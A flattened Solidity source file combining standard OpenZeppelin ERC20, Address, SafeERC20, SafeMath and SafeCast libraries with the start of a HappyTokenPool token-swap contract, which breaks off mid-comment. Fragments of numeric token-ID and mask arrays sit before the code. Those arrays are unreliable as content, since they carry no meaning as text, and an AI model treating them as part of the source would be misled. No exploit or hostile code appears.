0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3755,
2448,
12,
2448,
3778,
1353,
16,
21911,
3778,
3553,
13,
203,
565,
2713,
203,
565,
288,
203,
203,
3639,
1731,
1578,
1651,
273,
2583,
1556,
2448,
12,
1019,
16,
3553,
1769,
203,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1353,
18,
29261,
16,
315,
5535,
6859,
67,
4400,
67,
5063,
8863,
203,
203,
203,
3639,
13927,
1162,
7951,
1235,
63,
2816,
65,
273,
638,
31,
203,
203,
3639,
3626,
4347,
21890,
12,
2816,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.2.1 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @author Yisi Liu
* @contact [email protected]
* @author_time 01/06/2021
**/
pragma solidity >= 0.8.0;
abstract
contract IQLF is IERC165 {
/**
* @dev Check if the given address is qualified, implemented on demand.
*
* Requirements:
*
* - `account` account to be checked
* - `data` data to prove if a user is qualified.
* For instance, it can be a MerkelProof to prove if a user is in a whitelist
*
* Return:
*
* - `bool` whether the account is qualified for ITO
* - `string` if not qualified, it contains the error message(reason)
*/
function ifQualified (address account, bytes32[] memory data) virtual external view returns (bool, string memory);
/**
* @dev Logs if the given address is qualified, implemented on demand.
*/
function logQualified (address account, bytes32[] memory data) virtual external returns (bool, string memory);
/**
* @dev Ensure that custom contract implements `ifQualified` amd `logQualified` correctly.
*/
function supportsInterface(bytes4 interfaceId) virtual external override pure returns (bool) {
return interfaceId == this.supportsInterface.selector ||
interfaceId == (this.ifQualified.selector ^ this.logQualified.selector);
}
/**
* @dev Emit when `logQualified` is called to decide if the given `address`
* is `qualified` according to the preset rule by the contract creator and
* the current block `number` and the current block `timestamp`.
*/
event Qualification(address indexed account, bool qualified, uint256 blockNumber, uint256 timestamp);
}
/**
* @author Yisi Liu
* @contact [email protected]
* @author_time 01/06/2021
* @maintainer Hancheng Zhou, Yisi Liu, Andy Jiang
* @maintain_time 06/15/2021
**/
pragma solidity >= 0.8.0;
contract HappyTokenPool is Initializable {
struct Packed1 {
address qualification_addr;
uint40 password;
}
struct Packed2 {
uint128 total_tokens;
uint128 limit;
}
struct Packed3 {
address token_address;
uint32 start_time;
uint32 end_time;
uint32 unlock_time;
}
struct Pool {
// CAUTION: DO NOT CHANGE ORDER & TYPE OF THESE VARIABLES
// GOOGLE KEYWORDS "SOLIDITY, UPGRADEABLE CONTRACTS, STORAGE" FOR MORE INFO
Packed1 packed1;
Packed2 packed2;
Packed3 packed3;
address creator;
address[] exchange_addrs; // a list of ERC20 addresses for swapping
uint128[] exchanged_tokens; // a list of amounts of swapped tokens
uint128[] ratios; // a list of swap ratios
// length = 2 * exchange_addrs.length
// [address1, target, address2, target, ...]
// e.g. [1, 10]
// represents 1 tokenA to swap 10 target token
// note: each ratio pair needs to be coprime
mapping(address => uint256) swapped_map; // swapped amount of an address
}
// swap pool filling success event
event FillSuccess (
address indexed creator,
bytes32 indexed id,
uint256 total,
uint256 creation_time,
address token_address,
string message,
uint256 start,
uint256 end,
address[] exchange_addrs,
uint128[] ratios,
address qualification,
uint256 limit
);
// swap success event
event SwapSuccess (
bytes32 indexed id,
address indexed swapper,
address from_address,
address to_address,
uint256 from_value,
uint256 to_value,
uint128 input_total
);
// claim success event
event ClaimSuccess (
bytes32 indexed id,
address indexed claimer,
uint256 timestamp,
uint256 to_value,
address token_address
);
// swap pool destruct success event
event DestructSuccess (
bytes32 indexed id,
address indexed token_address,
uint256 remaining_balance,
uint128[] exchanged_values
);
// single token withdrawl from a swap pool success even
event WithdrawSuccess (
bytes32 indexed id,
address indexed token_address,
uint256 withdraw_balance
);
using SafeERC20 for IERC20;
// CAUTION: DO NOT CHANGE ORDER & TYPE OF THESE VARIABLES
// GOOGLE KEYWORDS "SOLIDITY, UPGRADEABLE CONTRACTS, STORAGE" FOR MORE INFO
mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance
bytes32 private seed;
address private DEFAULT_ADDRESS;
uint64 public base_time;
uint32 private nonce;
function initialize(uint64 _base_time) public initializer {
seed = keccak256(abi.encodePacked("MASK", block.timestamp, msg.sender));
DEFAULT_ADDRESS = address(0);
base_time = _base_time;
}
/**
* @dev
* fill_pool() creates a swap pool with specific parameters from input
* _hash sha3-256(password)
* _start start time delta, real start time = base_time + _start
* _end end time delta, real end time = base_time + _end
* message swap pool creation message, only stored in FillSuccess event
* _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now)
* _ratios swap pair ratio list
* _unlock_time unlock time delta real unlock time = base_time + _unlock_time
* _token_addr swap target token address
* _total_tokens target token total swap amount
* _limit target token single swap limit
* _qualification the qualification contract address based on IQLF to determine qualification
* This function takes the above parameters and creates the pool. _total_tokens of the target token
* will be successfully transferred to this contract securely on a successful run of this function.
**/
function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory _message,
address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time,
address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification)
public payable {
nonce ++;
require(_start < _end, "Start time should be earlier than end time.");
require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time");
require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply");
require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed");
require(_exchange_addrs.length > 0, "Exchange token addresses need to be set");
require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs");
bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed));
Pool storage pool = pool_by_id[_id];
pool.packed1 = Packed1(_qualification, uint40(uint256(_hash) >> 216));
pool.packed2 = Packed2(uint128(_total_tokens), uint128(_limit));
pool.packed3 = Packed3(_token_addr, uint32(_start), uint32(_end), uint32(_unlock_time));
pool.creator = msg.sender;
pool.exchange_addrs = _exchange_addrs;
// Init each token swapped amount to 0
for (uint256 i = 0; i < _exchange_addrs.length; i++) {
if (_exchange_addrs[i] != DEFAULT_ADDRESS) {
// TODO: Is there a better way to validate an ERC20?
require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20");
}
pool.exchanged_tokens.push(0);
}
pool.ratios = _ratios; // 256 * k
IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens);
{
// Solidity has stack depth limitation: "Stack too deep, try removing local variables"
// add local variables as a workaround
uint256 total_tokens = _total_tokens;
address token_addr = _token_addr;
string memory message = _message;
uint256 start = _start;
uint256 end = _end;
address[] memory exchange_addrs = _exchange_addrs;
uint128[] memory ratios = _ratios;
address qualification = _qualification;
uint256 limit = _limit;
emit FillSuccess(
msg.sender,
_id,
total_tokens,
block.timestamp,
token_addr,
message,
start,
end,
exchange_addrs,
ratios,
qualification,
limit
);
}
}
/**
* @dev
* swap() allows users to swap tokens in a swap pool
* id swap pool id
* verification sha3-256(sha3-256(password)[:40]+swapper_address)
* validation sha3-256(swapper_address)
* exchange_addr_i the index of the exchange address of the list
* input_total the input amount of the specific token
* This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH
* first and wants to swap the desired amount of the target token. The swapped amount is calculated
